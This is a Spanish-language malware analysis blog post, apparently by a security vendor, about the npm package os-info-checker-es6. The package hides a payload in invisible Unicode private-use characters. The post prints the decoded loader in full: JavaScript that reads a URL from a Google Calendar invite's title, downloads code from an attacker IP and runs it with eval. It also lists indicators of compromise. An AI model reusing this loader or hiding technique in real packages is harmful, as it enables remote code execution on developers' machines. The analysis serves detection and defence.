El 19 de marzo de 2025, descubrimos un paquete llamado os-info-checker-es6 y nos quedamos perplejos. Pudimos comprobar que no cumplía lo prometido. ¿Pero cuál era el problema? Decidimos investigar el asunto y, al principio, nos encontramos con callejones sin salida. Pero la paciencia da sus frutos, y finalmente obtuvimos la mayoría de las respuestas que buscábamos. También aprendimos sobre las PUA de Unicode (no, no son 'pick-up artists'). ¡Fue una montaña rusa de emociones!
¿Qué es el paquete?
El paquete no ofrece muchas pistas debido a la falta de un README archivo. Así es como se ve el paquete en npm:

No muy informativo. Pero parece que obtiene información del sistema. Sigamos adelante.
El código "oloroso" lo delata
Nuestro pipeline de análisis levantó inmediatamente muchas banderas rojas del paquete preinstall.js archivo debido a la presencia de un eval() llamada con entrada codificada en base64.

Vemos el eval(atob(...)) llamada. Eso significa "Decodificar una cadena base64 y evaluarla", es decir, ejecutar código arbitrario. Eso nunca es una buena señal. Pero, ¿cuál es la entrada?
La entrada es una cadena resultante de la llamada a decode() en un módulo nativo de Node incluido con el paquete. La entrada de esa función se parece a… Solo un |¡¿Qué?!
Tenemos varias preguntas importantes aquí:
- ¿Qué hace la función decode?
- ¿Qué tiene que ver la decodificación con la comprobación de información del SO?
- ¿Por qué es?
eval()¿...ándolo? - ¿Por qué la única entrada es un?
|?
Profundicemos
Decidimos aplicar ingeniería inversa al binario. Es un pequeño binario de Rust que no hace mucho. Inicialmente esperábamos ver algunas llamadas a funciones para obtener información del sistema operativo, pero no vimos NADA. Pensamos que quizás el binario estaba ocultando más secretos, proporcionando la respuesta a nuestra primera pregunta. Más sobre esto más adelante.
Pero entonces, ¿qué ocurre con la entrada a la función siendo solo un |¿Aquí es donde las cosas se ponen interesantes. Esa no es la entrada real. Copiamos el código en otro editor, y lo que vemos es:

¡Vaya! Casi se salen con la suya. Lo que vemos se llaman caracteres Unicode de “Acceso de Uso Privado”. Estos son códigos no asignados en el estándar Unicode, reservados para uso privado, que las personas pueden utilizar para definir sus propios símbolos para su aplicación. Son intrínsecamente no imprimibles, ya que no tienen un significado inherente.
En este caso, el decodificar la llamada al binario nativo de Node decodifica esos bytes en caracteres ASCII codificados en base64. ¡Muy ingenioso!
Démosle una vuelta
Así que, decidimos examinar el código real. Por suerte, guarda el código que ejecutó en un archivo run.txt. Y es simplemente esto:
console.log('Check');Eso es súper poco interesante. ¿Qué están tramando? ¿Por qué se esfuerzan tanto en ocultar este código? Nos quedamos atónitos.
Pero entonces...
Empezamos a ver paquetes publicados que dependían de este paquete, uno de ellos del mismo autor. Eran:
skip-tot(19 de marzo de 2025)- Es una copia del paquete
vue-skip-to.
- Es una copia del paquete
vue-dev-serverr(31 de marzo de 2025)- Es una copia del repositorio https://github.com/guru-git-man/first.
vue-dummyy(3 de abril de 2025)- Es una copia del paquete
vue-dummy.
- Es una copia del paquete
vue-bit(3 de abril de 2025)- Se hace pasar por el paquete
@teambit/bvm. - No contiene código real.
- Se hace pasar por el paquete
Todos tienen en común que añaden os-info-checker-es6 como una dependencia, pero nunca invocar el decodificar función. Qué decepción. No sabemos nada más sobre lo que los atacantes esperaban hacer. No pasó nada durante un tiempo hasta que la os-info-checker-es6 el paquete se actualizó de nuevo después de una larga pausa.
FINALMENTE
Este caso había estado rondando mi mente durante un tiempo. No tenía sentido. ¿Qué intentaban hacer? ¿Me perdí algo obvio al descompilar el módulo nativo de Node? ¿Por qué un atacante quemaría esta nueva capacidad tan pronto? La respuesta llegó el 7 de mayo de 2025, cuando una nueva versión de os-info-checker-es6, versión 1.0.8, salió. El preinstall.js ha cambiado.

¡Oh, mira, la cadena ofuscada es mucho más larga! Pero el eval la llamada está comentada. Así que, incluso si existe una carga útil maliciosa en la cadena ofuscada, no se ejecutaría. ¿Qué? Ejecutamos el decodificador en un sandbox y mostramos la cadena decodificada. Aquí está después de un poco de embellecimiento y anotaciones manuales:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
¿Viste la URL de Google Calendar en el orquestador? Eso es algo interesante de ver en un malware. Muy llamativo.
¡Están todos invitados!
Así es como se ve el enlace:

Una invitación de calendario con una cadena codificada en base64 como título. ¡Hermoso! La foto de perfil de pizza me hizo esperar que tal vez fuera una invitación a una fiesta de pizza, pero el evento está programado para el 7 de junio de 2027. No puedo esperar tanto por pizza. Sin embargo, tomaré otra cadena codificada en base64. Esto es lo que decodifica:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3DEn un callejón sin salida... de nuevo
Esta investigación ha estado llena de altibajos. Pensamos que las cosas estaban en un callejón sin salida, solo para que volvieran a aparecer señales de vida. Estuvimos muy cerca de descubrir la verdadera intención maliciosa del desarrollador, pero no lo logramos del todo.
No hay duda: este fue un enfoque novedoso para la ofuscación. Uno pensaría que cualquiera que dedicara tiempo y esfuerzo a hacer algo así utilizaría las capacidades que ha desarrollado. En cambio, parece que no han hecho nada con ello, revelando sus intenciones.
Como resultado, nuestro motor de análisis ahora detecta patrones como este, donde un atacante intenta ocultar datos en caracteres de control no imprimibles. Es otro caso en el que intentar ser astuto, en lugar de dificultar la detección, en realidad genera más señales. Porque es tan inusual que destaca y ondea un gran cartel que dice “ESTOY TRAMANDO ALGO MALO”. ¡Sigan con el excelente trabajo! 👍
Indicadores de compromiso
Paquetes
os-info-checker-es6skip-totvue-dev-serverrvue-dummyyvue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Reconocimiento
Durante esta investigación, contamos con la ayuda de nuestros grandes amigos de Vector35, quienes nos proporcionaron una licencia de prueba para su herramienta Binary Ninja para asegurarnos de comprender completamente el módulo nativo de Node. Un gran agradecimiento al equipo por su excelente producto. 👏
Protege tu software ahora.



.avif)
